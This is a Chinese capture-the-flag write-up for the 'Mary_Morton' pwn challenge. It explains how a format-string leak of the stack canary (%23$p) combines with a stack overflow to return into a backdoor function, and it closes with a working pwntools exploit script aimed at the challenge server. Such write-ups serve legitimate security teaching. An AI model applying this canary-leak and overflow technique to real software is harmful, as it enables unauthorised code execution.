攻防世界pwn-Mary_Morton

题目连接 https://adworld.xctf.org.cn/media/task/attachments/532c53dce1ce4f5d88461e4c2a336468

友情连接 https://blog.csdn.net/yexiwen/article/details/89519393

64位的程序,并且开启了NX和Canary

执行一下文件看看流程,存在两个漏洞

用IDA看看   可以看到执行2的时候 存在字符串漏洞

 按1的时候,存在栈溢出漏洞

 看一下流程图和汇编可以知道readsqword这个地方有canary保护,只有 rax 和fs:28h 两个值相等的时候   才能跳转到返回值,反之则调用stak_chk_fail

 同时还有一个后门函数

 思路:利用这两个漏洞,首先利用字符串漏洞,泄露出canary的值,然后在函数要返回的时候再填回去,之后利用栈溢出,让其返回到后门函数

先看一下字符串的偏移

 可以看到偏移了6个字节

确定canary和输入的参数之间的偏移

  buf和v2相差了0x90-0x8=0x88,0x88/8=17, 17+6=23

因为64位的程序,每个格式化字符串都是8字节,同理32位是4字节

然后再利用栈溢出调用后门函数即可get flag

exp如下

from pwn import *
r=remote('111.198.29.45',53501)

r.recvuntil('3. Exit the battle')
r.sendline('2')

r.sendline('%23$p')

r.recvuntil('0x')
canary=int(r.recv(16),16)
print (canary)

flag_addr=0x4008da
payload='a'*0x88+p64(canary)+p64(0xdeadbeef)+p64(flag_addr)
r.recvuntil('3. Exit the battle')
r.sendline('1')
r.sendline(payload)

r.interactive()

执行结果

猜你喜欢

转载自www.cnblogs.com/gaonuoqi/p/11760970.html